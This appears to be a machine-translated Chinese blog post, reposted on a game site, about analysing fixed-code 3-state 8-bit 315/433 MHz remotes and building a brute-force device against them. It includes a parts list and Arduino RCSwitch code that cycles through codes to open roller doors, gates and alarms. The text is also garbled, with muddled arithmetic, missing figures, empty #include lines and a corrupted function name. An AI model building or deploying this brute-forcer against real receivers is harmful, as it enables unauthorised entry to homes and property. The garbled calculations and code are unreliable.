无线遥控器(无线电遥控器)在我们的生活中非常常见,应用于各种场景,方便用户的使用。 但大部分还是用于安防,比如:远程报警器、电动卷帘门、电动伸缩门、遥控电动开关、无线遥控门铃……

1.无线遥控简介

无线遥控器从安全角度来看大致可以分为两类。 一类是最常见的固定码遥控器,其特点是价格低、应用广、市场大、用户多; 另一种是滚码遥控器,其特点是价格相对较低。 价格昂贵,相对安全,用于汽车安全、防盗等安全要求较高的场所。

固定码遥控器的编码方式有很多种。 国内最常见的是3态8位编码或者厂家出厂时烧毁的随机码。

这里我就不解释滚动代码了。 我仍然拥有这种遥控器。 滚动码相对安全,但也不是绝对安全。 你的车用的是滚动码遥控器,但是小偷N年前就可以买了。 是时候干扰并破解您汽车的防盗设备了。

无线遥控根据信号调制方式大致可分为两种方式:OOK方式和FSK方式。 当然,这些只是常见的,还有其他的信号调制方式。

2.三态八位遥控

3态8位遥控器就是我们常见的遥控器,而且是固定码遥控器。 这种遥控器可以在电瓶车防盗装置、电动卷帘门、电动伸缩门、遥控电动开关、无线遥控门铃等应用中看到,因为这种遥控器非常便宜。

2.1 什么是三态八位遥控器?

顾名思义,3状态8位遥控器有3个码位状态和8个码位。 二进制由0和1组成,因此2位长的二进制有4种可能:00 01 10 11。3态8位遥控器使用其中的3个00 01 11。这是3种状态。

8位表示有8个编码位。 每个编码位可以使用3种状态中的任意一种,所以是2 * 8 = 16。总共16位(bit)长的二进制,但是常见无线遥控器的数据长度是24位(bit),因为最后8位(bit)定义了密钥值(如果你解码的信号是25位(bit)长,则可以去掉末尾的0;如果是25位(bit)长,则最后一位为1。这可能是因为你解码错误)。

普通四键遥控器的每个键值在出厂时都是固定的,即01。

2.2 修复厂商烧写的代码

如果你的定码遥控器解码后的二进制中有一对10个编码(注意是一对,上一对最后1和下一对前0组成的10不算),这说明你的遥控器不是3态8位遥控器,是厂家在出厂时烧录的固定码。 这个遥控器的最后8位键值不一定是标准的4种可能。

这类固定码遥控器的接收端一般具有学习功能,并且会有学习按钮。

其功能是配对新的遥控器。 如果当前的遥控器坏了,可以购买同类型的遥控器。 按住学习按钮,然后按下遥控器即可学习新遥控器的编码信息,以便您可以继续使用。

2.3 识别是否为三态八位

辨别是否是3态8位遥控器最可靠的方法就是拆开看PCB板。 如果有3行8列的焊盘,那就一定是,否则就不是。 对于使用三态 8 位 DIP 开关的情况也是如此。

2.4 三态八位遥控编码

国内常见的编码方式是直接将焊盘焊接在PCB上,很少使用拨码开关来节省成本? 当然你也可以购买3态8位拨码遥控器。

从上图可以看出,总共有3行8列的焊盘,这就是定义了3个状态(高、中、低)8位。 中间一排连接到芯片的引脚。 当芯片的某个引脚焊接到高电平时,生成的代码为 11。焊接到低电平时,生成的代码为 00。如果不焊接,则默认生成的代码为 01。

代码是成对的。 如果遥控器有此代码,接收器也必须有此代码,否则无法工作。

3.分析安全漏洞

从上面我们知道遥控器的二进制编码长度为24位(bit),前16位(bit)是通过3态8位编码方式定义的,后8位(bit)是按钮值由制造商固定。 。

遥控器每个按键的前16位(bits)相同,后8位(bits)不同。 有4种可能性。 假设如果每次击键都是不规则的随机代码,那么如果想通过暴力穷举找到正确的代码,需要尝试2^24 = 总共的可能性。

假设最后8位(bits)是4种固定可能性,前16位(bits)是随机的。 那么只需要尝试前16位(bits)的所有可能性,拼接后8位(bits)对于固定值,需要尝试2^16 = 65536 4^8 = 65536总共65536种可能性每次击键。

由于 3 状态 8 位代码中没有 10 个代码,因此您需要进行的总尝试次数为 3^8 = 6561,每个按钮总共有 6561 种可能性。

知道暴力攻击所需的尝试次数后,我们来计算所需的时间。 我收集了普通遥控器的信号传输。 10秒之内,我在接收端收到了一百零多个遥控信号。 ,这意味着一分钟内至少可以发送(尝试)600种可能性。

尝试所有24位长度的组合所需的时间为/600=27962×27962分钟,大约不到20天。

尝试16位密钥的所有组合所需的时间约为65536 / 600 = 109 109分钟,大约一个多小时。 尝试所有 3 状态 8 位密钥的组合所需的时间为 6561 / 600 = 11,即大约 11 分钟! !

那么 Samy 的 8 秒打开车库门的项目是如何完成的呢? 首先,Samy的车库门遥控器不是3态8位。 编码长度好像只有12位,2^12=4096,一共4096种组合。

最重要的是,遥控设备的接收端使用了移位寄存器,因此使用De序列可以在很短的时间内完成所有可能的尝试。

但我们常见的3态8位遥控设备的接收端并没有使用移位寄存器,因此无法利用De序列来实施暴力攻击。

检测接收端是否使用移位寄存器的一种方法是在正确编码前加0。 如果使用移位寄存器,错误的位将被跳过,检查下一个正确的位,并给出响应。 如果您不使用移位寄存器,则不会发生任何事情无线遥控器,因为您发送的编码是错误的。

4. 制作硬件

从上面的理论分析,我们知道了这种遥控装置的缺陷之一。 有不止一种方法可以尝试利用此缺陷来攻击设备。

你可以用你的笔记本电脑和SDR设备来攻击它,或者我们可以尝试制作我们自己的便携式硬件来利用这个缺陷来攻击设备。

我们使用RF模块来实现攻击功能。

使用它是因为它便宜且易于使用。 当然,如果有能力,也可以使用其他单片机来实现,或者自己设计电路,使用更好的芯片来实现射频功能。

4.1 硬件清单

专业微

315 MHz 或 433 MHz 无线模块

触摸按键

10K电阻

面包板

面包板跳线

4.2 硬件连接方法

4.3 功能码

/*
  Brute Force Attack 4 ^ 8 Remote Control
https://github.com/ZMOM1031/bruteforce3-8remote
*/#include #include RCSwitch mySwitch = RCSwitch();// 定义 4 个按键针脚const int button_a = 10;const int button_b = 16;const int button_c = 14;const int button_d = 15;int butStatA = 0;int butStatB = 0;int butStatC = 0;int butStatD = 0;int dfa = 256;void setup() {
  Serial.begin(9600);
  mySwitch.enableTran *** it(9);    // 定义发送模块的数据传输针脚
  mySwitch.setPulseLength(170);   // 定义脉冲长度,这个值具体看你使用的遥控器而定
  pinMode(button_a, INPUT);
  pinMode(button_b, INPUT);
  pinMode(button_c, INPUT);
  pinMode(button_d, INPUT);
}void loop() {  // read the state of the pushbutton value:
  butStatA = digitalRead(button_a);
  butStatB = digitalRead(button_b);
  butStatC = digitalRead(button_c);
  butStatD = digitalRead(button_d);  // Button A
  if (butStatA == HIGH) {    // check if the pushbutton is pressed.
    for (long i = 0; i < 65535; i++ ){      long key = long(i * dfa) + int(192);
      mySwitch.send(key, 24);
    }
  }  // Button B
  if (butStatB == HIGH) {    for (long i = 0; i < 65535; i++ ){      long key = long(i * dfa) + int(48);
      mySwitch.send(key, 24);
    }
  }  // Button C
  if (butStatC == HIGH) {    for (long i = 0; i < 65535; i++ ){      long key = long(i * dfa) + int(12);
      mySwitch.send(key, 24);
    }
  }  // Button D
  if (butStatD == HIGH) {    for (long i = 0; i < 65535; i++ ){      long key = long(i * dfa) + int(3);
      mySwitch.send(key, 24);
    }
  }
}

注意:此代码实现了发送 4^8 的所有可能性。

生成3^8所有可能性的算法我还没有实现,暂时也没有时间继续研究如何实现。 过年后我得找工作。

5. 总结

在实际测试中,暴力破解确实有效,但由于时间仓促,硬件设计和代码没有优化,攻击速度还是有点落后。 如果您使用此类遥控设备,请不要担心这一点。

- 本项目今后会进行更新,争取更高的可用性,并会增加一些功能。 眼下,我得忙着找工作,言归正传。 未来我们还会研究一些其他的硬件安全破解/逆向项目。

最后,感谢一位朋友(匿名)的帮助。

原文链接:

未经允许不得转载! 作者:admin,转载或复制请以超链接形式并注明出处天心神途传奇手游发布网

原文地址:《分析无线遥控信号并创建黑客硬件进行攻击》发布于:2024-04-05

发表评论

表情:
验证码
评论列表 (暂无评论,47人围观)

还没有评论,来说两句吧...